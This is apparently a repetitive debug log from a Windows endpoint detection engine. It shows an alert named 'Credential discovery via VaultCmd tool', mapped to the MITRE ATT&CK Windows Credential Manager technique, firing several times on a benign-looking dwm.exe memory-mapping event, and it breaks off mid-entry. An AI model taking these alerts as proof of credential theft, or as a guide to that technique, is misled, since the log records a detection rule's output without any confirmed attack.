CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4205581 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 